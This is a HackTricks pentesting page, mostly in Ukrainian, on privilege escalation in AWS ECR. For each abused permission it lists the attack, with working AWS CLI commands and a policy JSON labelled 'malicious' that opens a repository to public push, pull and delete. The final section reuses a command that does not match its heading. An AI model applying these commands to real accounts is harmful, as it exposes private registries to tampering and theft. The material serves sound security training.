AWS - ECR Privesc

Support HackTricks

ECR

ecr:GetAuthorizationToken,ecr:BatchGetImage

Зловмисник з ecr:GetAuthorizationToken та ecr:BatchGetImage може увійти в ECR та завантажити зображення.

Для отримання додаткової інформації про те, як завантажити зображення:

Potential Impact: Непряме підвищення привілеїв шляхом перехоплення чутливої інформації в трафіку.

ecr:GetAuthorizationToken, ecr:BatchCheckLayerAvailability, ecr:CompleteLayerUpload, ecr:InitiateLayerUpload, ecr:PutImage, ecr:UploadLayerPart

Зловмисник з усіма цими дозволами може увійти в ECR та завантажити зображення. Це може бути корисно для підвищення привілеїв до інших середовищ, де використовуються ці зображення.

Щоб дізнатися, як завантажити нове зображення/оновити одне, перевірте:

ecr-public:GetAuthorizationToken, ecr-public:BatchCheckLayerAvailability, ecr-public:CompleteLayerUpload, ecr-public:InitiateLayerUpload, ecr-public:PutImage, ecr-public:UploadLayerPart

Як у попередньому розділі, але для публічних репозиторіїв.

ecr:SetRepositoryPolicy

Зловмисник з цим дозволом може змінити політику репозиторію, щоб надати собі (або навіть усім) доступ на читання/запис. Наприклад, у цьому прикладі доступ на читання надається всім.

aws ecr set-repository-policy \
--repository-name <repo_name> \
--policy-text file://my-policy.json

Зміст my-policy.json:

{
"Version" : "2008-10-17",
"Statement" : [
{
"Sid" : "allow public pull",
"Effect" : "Allow",
"Principal" : "*",
"Action" : [
"ecr:BatchCheckLayerAvailability",
"ecr:BatchGetImage",
"ecr:GetDownloadUrlForLayer"
]
}
]
}

ecr-public:SetRepositoryPolicy

Як і в попередньому розділі, але для публічних репозиторіїв. Зловмисник може змінити політику репозиторію публічного репозиторію ECR, щоб надати несанкціонований публічний доступ або для ескалації своїх привілеїв.

bashCopy code# Create a JSON file with the malicious public repository policy
echo '{
"Version": "2008-10-17",
"Statement": [
{
"Sid": "MaliciousPublicRepoPolicy",
"Effect": "Allow",
"Principal": "*",
"Action": [
"ecr-public:GetDownloadUrlForLayer",
"ecr-public:BatchGetImage",
"ecr-public:BatchCheckLayerAvailability",
"ecr-public:PutImage",
"ecr-public:InitiateLayerUpload",
"ecr-public:UploadLayerPart",
"ecr-public:CompleteLayerUpload",
"ecr-public:DeleteRepositoryPolicy"
]
}
]
}' > malicious_public_repo_policy.json

# Apply the malicious public repository policy to the ECR Public repository
aws ecr-public set-repository-policy --repository-name your-ecr-public-repo-name --policy-text file://malicious_public_repo_policy.json

Потенційний вплив: Несанкціонований публічний доступ до репозиторію ECR Public, що дозволяє будь-якому користувачу завантажувати, витягувати або видаляти зображення.

ecr:PutRegistryPolicy

Зловмисник з цим дозволом може змінити політику реєстру, щоб надати собі, своєму обліковому запису (або навіть усім) доступ на читання/запис.

aws ecr set-repository-policy \
--repository-name <repo_name> \
--policy-text file://my-policy.json
Підтримайте HackTricks

Last updated